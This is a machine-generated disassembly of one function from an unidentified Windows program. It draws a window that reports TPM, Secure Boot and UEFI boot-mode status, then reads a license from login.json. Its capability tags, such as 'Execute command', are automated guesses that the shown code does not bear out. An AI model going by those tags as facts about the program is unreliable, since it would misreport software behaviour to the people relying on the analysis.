Function at 0x140210490
Capabilities:
Encode data using xor
Execute command
Get uefi variable
Query or enumerate registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1880]
mov eax, 0x1980
call fcn.1402f8180
sub rsp, rax
movaps xmmword [rsp + 0x1970], xmm6
movaps xmmword [rsp + 0x1960], xmm7
movaps xmmword [rsp + 0x1950], xmm8
movaps xmmword [rsp + 0x1940], xmm9
movaps xmmword [rsp + 0x1930], xmm10
movaps xmmword [rsp + 0x1920], xmm11
movaps xmmword [rsp + 0x1910], xmm12
movaps xmmword [rsp + 0x1900], xmm13
movaps xmmword [rsp + 0x18f0], xmm14
movaps xmmword [rsp + 0x18e0], xmm15
mov rax, qword [0x14038c0c0]
xor rax, rsp
mov qword [rbp + 0x17d0], rax
xor esi, esi
mov dword [rbp + 0x120], esi
mov dword [rbp + 0xf0], 0x441c4000
mov dword [rbp + 0xf4], 0x43d48000
mov rax, qword [0x140455660]
mov dword [rax + 0x3800], 0x40c00000
mov dword [rax + 0x37f0], 0x3f800000
xor edx, edx
mov r8d, 0xbb
lea rcx, str.Main_Window
call fcn.1401d8d60
xor r8d, r8d
lea rdx, [rbp + 0xf0]
mov r10, qword [0x140455660]
mov rcx, qword [r10 + 0x3ef0]
call fcn.1401dbbf0
mov rax, qword [r10 + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [r10 + 0x3ef0]
mov r11, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3d71a9fc
mov dword [rbp + 0xf4], 0x3d71a9fc
mov dword [rbp + 0xf8], 0x3d71a9fc
movss xmm0, dword [r10 + 0x37f0]
mulss xmm0, dword [0x14036ea10]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x441c0000
mov dword [rbp + 0xf4], 0x43d40000
mov qword [rbp + 0x128], rsi
mov dword [rsp + 0x28], esi
movss xmm15, dword [0x14036ea70]
movss dword [rsp + 0x20], xmm15
mov r9d, eax
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0x128]
mov rcx, r11
call fcn.1401ea6f0
mov r12d, 1
mov ecx, r12d
call fcn.1401cfc30
mov rax, qword [0x140455660]
mov qword [rax + 0x3800], 0x40c00000
mov dword [rax + 0x381c], 0x40c00000
mov qword [rax + 0x3834], 0x40000000
mov qword [rax + 0x37f8], rsi
movups xmm0, xmmword [0x14032e400]
movups xmmword [rax + 0x3908], xmm0
mov dword [rax + 0x3864], 0x40a00000
mov dword [rax + 0x3868], 0x41200000
mov dword [rax + 0x383c], 0x41200000
mov dword [rax + 0x3840], 0x41700000
lea rdx, [0x140455fb8]
mov rcx, qword [0x140455fb0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x140455660]
mov rcx, qword [rax + 0x3ef0]
movd xmm0, dword [0x140455fbc]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rcx + 0x24]
cvttss2si r8d, xmm0
movd xmm1, dword [0x140455fb8]
cvtdq2ps xmm1, xmm1
addss xmm1, dword [rcx + 0x20]
cvttss2si edx, xmm1
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 0x1a9
mov r9d, 0x271
mov rcx, qword [0x140455fb0]
call qword [sym.imp.USER32.dll_MoveWindow]
mov qword [rbp + 0xf0], rsi
mov rdi, qword [0x140455660]
xor r8d, r8d
lea rdx, [rbp + 0xf0]
mov rcx, qword [rdi + 0x3ef0]
call fcn.1401dba80
mov r14d, esi
mov r9, qword [0x140455f90]
mov rcx, r9
mov r8, qword [0x140455f88]
sub rcx, r8
movabs r13, 0x4924924924924925
mov rax, r13
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
xorps xmm9, xmm9
je 0x14021083f
mov ebx, esi
movss xmm6, dword [0x14036e9bc]
movss xmm7, dword [0x14036eac0]
nop word [rax + rax]
movss xmm0, dword [r8 + rbx + 0xc]
mulss xmm0, xmm6
mulss xmm0, xmm7
addss xmm0, dword [r8 + rbx + 4]
movss dword [r8 + rbx + 4], xmm0
mov r8, qword [0x140455f88]
comiss xmm9, dword [r8 + rbx + 4]
jbe 0x140210804
mov dword [r8 + rbx + 4], 0x43ed8000
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x5d9f7391
imul r8d
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2bc
sub r8d, ecx
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
mov rax, qword [0x140455f88]
movss dword [rax + rbx], xmm0
mov r8, qword [0x140455f88]
inc r14d
add rbx, 0x1c
mov r9, qword [0x140455f90]
mov rcx, r9
sub rcx, r8
mov rax, r13
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rax, r14d
cmp rax, rdx
jb 0x140210790
mov rdi, qword [0x140455660]
mov r15d, esi
sub r9, r8
mov rax, r13
imul r9
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14021092c
mov r8, rsi
mov r14, rsi
movss xmm6, dword [0x14036e9f0]
nop dword [rax]
mov rax, qword [rdi + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rdi + 0x3ef0]
mov rbx, qword [rax + 0x298]
mov rax, qword [0x140455f88]
mov r12d, dword [rax + r14 + 0x18]
movss xmm2, dword [rax + r14 + 0x14]
imul rdx, r8, 0x1c
add rdx, rax
test r12d, 0xff000000
je 0x1402108f5
comiss xmm6, xmm2
ja 0x1402108f5
mov dword [rsp + 0x20], Ordinal_50
xor r9d, r9d
mov rcx, rbx
call fcn.1401e9710
mov r8d, dword [rbx + 0x78]
dec r8d
mov dword [rbx + 0x78], r8d
mov r9d, r12d
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1401e9140
mov dword [rbx + 0x78], esi
mov rdi, qword [0x140455660]
mov rax, qword [0x140455f88]
inc r15d
add r14, 0x1c
movsxd r8, r15d
mov rcx, qword [0x140455f90]
sub rcx, rax
mov rax, r13
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp r8, rdx
jb 0x140210870
mov r12d, 1
mov rax, qword [rdi + 0x3ef0]
mov byte [rax + 0xb8], 1
mov r13, qword [rdi + 0x3ef0]
movss xmm0, dword [rdi + 0x18]
movss xmm7, dword [0x14036ea64]
mulss xmm0, xmm7
movss dword [rbp + 0x168], xmm0
mov edx, reloc.WS2_32.dll_recv
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x14045749c], eax
jle 0x1402109a4
lea rcx, [0x14045749c]
call fcn.1402f74a8
cmp dword [0x14045749c], 0xffffffff
jne 0x1402109a4
movss xmm0, dword [rdi + 0x18]
movss dword [0x140457498], xmm0
lea rcx, [0x14045749c]
call fcn.1402f743c
movss xmm0, dword [0x14036ea7c]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14036eb50]
call fcn.140204500
mov rax, qword [0x140455660]
mov rcx, qword [rax + 0x3c38]
mov rax, qword [rax + 0x3ef0]
mov byte [rax + 0xb8], 1
call fcn.1401db9e0
movss xmm1, dword [0x140455fa8]
movss dword [rdi + 0x37f0], xmm1
lea r14, [0x14045565f]
movss xmm14, dword [0x14036eb1c]
movss xmm6, dword [0x14036eaa0]
movss xmm8, dword [0x14036eaf0]
movss xmm11, dword [0x14036ea24]
cmp dword [0x140455ff8], esi
jne 0x140211435
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0x120], esi
mov rdx, qword [0x140455660]
addss xmm1, dword [rdx + 0x18]
movss dword [rbp + 0x128], xmm1
lea rcx, [rbp + 0x120]
lea rax, [rbp + 0x128]
comiss xmm9, xmm1
cmovbe rcx, rax
lea rax, [rbp + 0xf0]
comiss xmm1, xmm11
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x140455fa8], xmm0
mov rbx, qword [rdx + 0x3c38]
mov rax, qword [rdx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rdx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rdx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x433e0000
mov dword [rbp + 0xf4], 0x430c0000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x140210b5c
test rcx, rcx
jne 0x140210b07
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], sil
movss dword [rsp + 0x40], xmm9
lea rdx, [0x14036d001]
mov qword [rsp + 0x38], rdx
lea rdx, str.Windows_Version:
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm6
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3e7ced91
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3e7ced91
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x43b90000
mov dword [rbp + 0xf4], 0x430c0000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x140210c4c
test rcx, rcx
jne 0x140210bf7
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], sil
movss dword [rsp + 0x40], xmm9
lea rdx, [0x14036d015]
mov qword [rsp + 0x38], rdx
lea rdx, str.Windows_10_11
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm6
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x433e0000
mov dword [rbp + 0xf4], 0x43340000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x140210d3c
test rcx, rcx
jne 0x140210ce7
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], sil
movss dword [rsp + 0x40], xmm9
lea rdx, [0x14036d023]
mov qword [rsp + 0x38], rdx
lea rdx, str.TPM_State:
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm6
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
call fcn.14020f990
movzx ebx, al
call fcn.14020ff10
movzx edi, al
lea r9, [0x14036d038]
lea r10, str.Disabled
lea r14, [0x14036d02f]
lea r15, str.Enabled
test bl, bl
je 0x140210e2a
mov rdx, qword [0x140455660]
mov rbx, qword [rdx + 0x3c38]
mov rcx, qword [rdx + 0x3ef0]
mov byte [rcx + 0xb8], 1
mov rax, qword [rdx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f2eb1c4
mov dword [rbp + 0xf4], 0x3e24a8c1
mov dword [rbp + 0xf8], 0x3e24a8c1
movss xmm0, dword [rdx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x43960000
mov dword [rbp + 0xf4], 0x43340000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x140210f04
test rcx, rcx
jne 0x140210e0f
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
mov byte [rsp + 0x48], sil
movss dword [rsp + 0x40], xmm9
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r15
jmp 0x140210ed3
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3e7ced91
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3e7ced91
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x43960000
mov dword [rbp + 0xf4], 0x43340000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x140210f04
test rcx, rcx
jne 0x140210ebd
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
mov byte [rsp + 0x48], sil
movss dword [rsp + 0x40], xmm9
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x30], r10
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
movups xmm0, xmmword [r8 + 0x88]
mov dword [rsp + 0x20], eax
movups xmmword [rbp + 0x100], xmm0
lea r9, [rbp + 0xf0]
movaps xmm2, xmm6
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x433e0000
mov dword [rbp + 0xf4], 0x435c0000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x140210ff4
test rcx, rcx
jne 0x140210f9f
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], sil
movss dword [rsp + 0x40], xmm9
lea rdx, [0x14036d04d]
mov qword [rsp + 0x38], rdx
lea rdx, str.Secure_Boot:
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm6
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rcx + 0x37f0]
mov r8, qword [rax + 0x298]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
test dil, dil
je 0x1402110b0
mov dword [rbp + 0xf0], 0x3f2eb1c4
mov dword [rbp + 0xf4], 0x3e24a8c1
mov dword [rbp + 0xf8], 0x3e24a8c1
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x439e8000
mov dword [rbp + 0xf4], 0x435c0000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x140211157
test rcx, rcx
jne 0x140211098
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
mov byte [rsp + 0x48], sil
movss dword [rsp + 0x40], xmm9
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r15
jmp 0x140211126
mov dword [rbp + 0xf0], 0x3e7ced91
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3e7ced91
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x439e8000
mov dword [rbp + 0xf4], 0x435c0000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x140211157
test rcx, rcx
jne 0x140211102
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
mov byte [rsp + 0x48], sil
movss dword [rsp + 0x40], xmm9
lea rdx, [0x14036d038]
mov qword [rsp + 0x38], rdx
lea rdx, str.Disabled
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
movups xmm0, xmmword [r8 + 0x88]
mov dword [rsp + 0x20], eax
movups xmmword [rbp + 0x100], xmm0
lea r9, [rbp + 0xf0]
movaps xmm2, xmm6
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x433e0000
mov dword [rbp + 0xf4], 0x43820000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x140211247
test rcx, rcx
jne 0x1402111f2
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], sil
movss dword [rsp + 0x40], xmm9
lea rdx, [0x14036d05b]
mov qword [rsp + 0x38], rdx
lea rdx, str.Boot_Mode:
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm6
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Global
lea rcx, str.BootMode
call qword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableW]
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
test eax, eax
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rcx + 0x37f0]
mov r8, qword [rax + 0x298]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
je 0x140211325
mov dword [rbp + 0xf0], 0x3f2eb1c4
mov dword [rbp + 0xf4], 0x3e24a8c1
mov dword [rbp + 0xf8], 0x3e24a8c1
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x43960000
mov dword [rbp + 0xf4], 0x43820000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x1402113cc
test rcx, rcx
jne 0x140211304
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
mov byte [rsp + 0x48], sil
movss dword [rsp + 0x40], xmm9
lea rdx, [0x14036d062]
mov qword [rsp + 0x38], rdx
lea rdx, str.Legacy
jmp 0x140211396
mov dword [rbp + 0xf0], 0x3e7ced91
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3e7ced91
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x43988000
mov dword [rbp + 0xf4], 0x43820000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x1402113cc
test rcx, rcx
jne 0x140211377
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
mov byte [rsp + 0x48], sil
movss dword [rsp + 0x40], xmm9
lea rdx, [0x14036d068]
mov qword [rsp + 0x38], rdx
lea rdx, str.UEFI
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
movups xmm0, xmmword [r8 + 0x88]
mov dword [rsp + 0x20], eax
movups xmmword [rbp + 0x100], xmm0
lea r9, [rbp + 0xf0]
movaps xmm2, xmm6
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
movss xmm10, dword [0x14036eaac]
movss dword [rsp + 0x30], xmm10
movss xmm12, dword [0x14036eb18]
movss dword [rsp + 0x28], xmm12
movss xmm0, dword [0x14036eb2c]
movss dword [rsp + 0x20], xmm0
movss xmm13, dword [0x14036eaf8]
movaps xmm3, xmm13
lea r8, str.Ensure_all_settings_are_Green
lea rdx, str.Continue_To_Login
call fcn.1402020a0
test al, al
je 0x140211452
mov dword [0x140455ff8], r12d
mov dword [0x140455fa8], esi
jmp 0x140211466
movss xmm10, dword [0x14036eaac]
movss xmm12, dword [0x14036eb18]
movss xmm13, dword [0x14036eaf8]
jmp 0x140211459
lea r14, [0x14045565f]
cmp dword [0x140455ff8], 1
jne 0x140211b14
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x330]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1403694e0]
mov qword [rbp + 0x330], rax
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x120], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x330]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x330], rdi
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x32c], edx
lea rcx, [rbp + 0x340]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x340], rax
mov byte [rbp + 0x3bc], 0
mov byte [rbp + 0x3b1], 0
lea rcx, [rbp + 0x340]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x3c0], rsi
mov rax, qword [0x1404560f8]
mov qword [rbp + 0x3b4], rax
mov qword [rbp + 0x3a8], rsi
mov r9d, 0x40
mov r8d, r12d
lea rdx, str.login.json
lea rcx, [rbp + 0x340]
call fcn.140218b00
test rax, rax
jne 0x140211581
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x330]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
cmp qword [rbp + 0x3c0], 0
je 0x14021193d
xor edx, edx
lea rcx, [rbp + 0x128]
call fcn.140218cb0
nop
mov qword [rbp - 0x78], rsi
lea rax, [rbp + 0x330]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x378]
mov qword [rbp + 0xf8], rax
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp]
call fcn.14021ca70
nop
lea r8, [rbp + 0x128]
mov rcx, rax
call fcn.140218690
nop
lea rcx, [rbp + 0x48]
call fcn.1402179f0
mov rcx, qword [rbp + 0x38]
test rcx, rcx
je 0x140211612
mov rax, qword [rcx]
lea rdx, [rbp]
cmp rcx, rdx
setne dl
call qword [rax + reloc.WLDAP32.dll_Ordinal_32]
cmp byte [rbp + 0x128], 1
jne 0x1402118ed
mov rax, qword [rbp + 0x130]
mov r15, qword [rax]
mov rbx, qword [r15 + 8]
mov r14, r15
mov r12d, 7
cmp byte [rbx + 0x19], 0
jne 0x14021167a
nop dword [rax]
lea rcx, [rbx + 0x20]
mov rdi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140211652
mov rcx, qword [rcx]
mov r8, rdi
cmp rdi, r12
cmova r8, r12
lea rdx, str.license
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1402116ba
js 0x1402116bf
mov r14, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x140211640
cmp byte [r14 + 0x19], 0
jne 0x1402118ed
lea rcx, [r14 + 0x20]
mov rbx, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140211697
mov rcx, qword [rcx]
mov r8, rbx
cmp rbx, 7
cmova r8, r12
lea rdx, str.license
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1402116c5
jns 0x1402118ed
jmp 0x1402116cf
cmp rdi, r12
jae 0x14021166e
mov rbx, qword [rbx + 0x10]
jmp 0x140211674
cmp rbx, 7
ja 0x1402118ed
cmp r14, r15
je 0x1402118ed
lea rdx, str.license
lea rcx, [rbp + 0x1a8]
call fcn.140201530
mov rdx, rax
lea rcx, [rbp + 0x128]
call fcn.140220d50
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
movdqa xmm1, xmmword [0x14036ebe0]
movdqu xmmword [rbp - 0x18], xmm1
mov byte [rbp - 0x28], 0
mov dword [rbp + 0x120], 5
cmp byte [rax], 3
jne 0x140216303
mov rdx, qword [rax + 8]
lea rax, [rbp - 0x28]
cmp rax, rdx
je 0x14021174b
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140211741
mov rdx, qword [rdx]
lea rcx, [rbp - 0x28]
call fcn.140227be0
nop
lea r8, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova r8, qword [rbp - 0x28]
mov edx, reloc.WLDAP32.dll_Ordinal_50
lea r15, [0x1404574a0]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x1402117ac
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1402117a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1402117a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402f7b14
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], rsi
mov qword [rbp + 0x160], rsi
mov rbx, 0xffffffffffffffff
nop dword [rax + rax]
inc rbx
cmp byte [r15 + rbx], 0
jne 0x1402117d0
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140216345
cmp rbx, 0xf
ja 0x140211824
mov qword [rbp + 0x158], rbx
mov qword [rbp + 0x160], reloc.WS2_32.dll_ntohs
mov r8, rbx
mov rdx, r15
lea rcx, [rbp + 0x148]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x148], 0
jmp 0x1402118c6
mov rdi, rbx
or rdi, 0xf
cmp rdi, rax
jbe 0x14021185c
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1402f77c0
test rax, rax
je 0x14021188f
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14021189e
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140211877
mov r14, rsi
jmp 0x14021189e
cmp rcx, 0x1000
jb 0x140211896
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1402162fd
jmp 0x140211841
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402f77c0
mov r14, rax
mov qword [rbp + 0x148], r14
mov qword [rbp + 0x158], rbx
mov qword [rbp + 0x160], rdi
mov r8, rbx
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
lea rdx, [rbp + 0x148]
lea rcx, [0x140455c70]
call fcn.1402a1970
movzx eax, byte [0x140455ea0]
neg al
sbb ecx, ecx
add ecx, 3
mov dword [0x140455ff8], ecx
lea rcx, [rbp + 0x340]
call fcn.140218a40
test rax, rax
jne 0x140211922
mov rax, qword [rbp + 0x330]
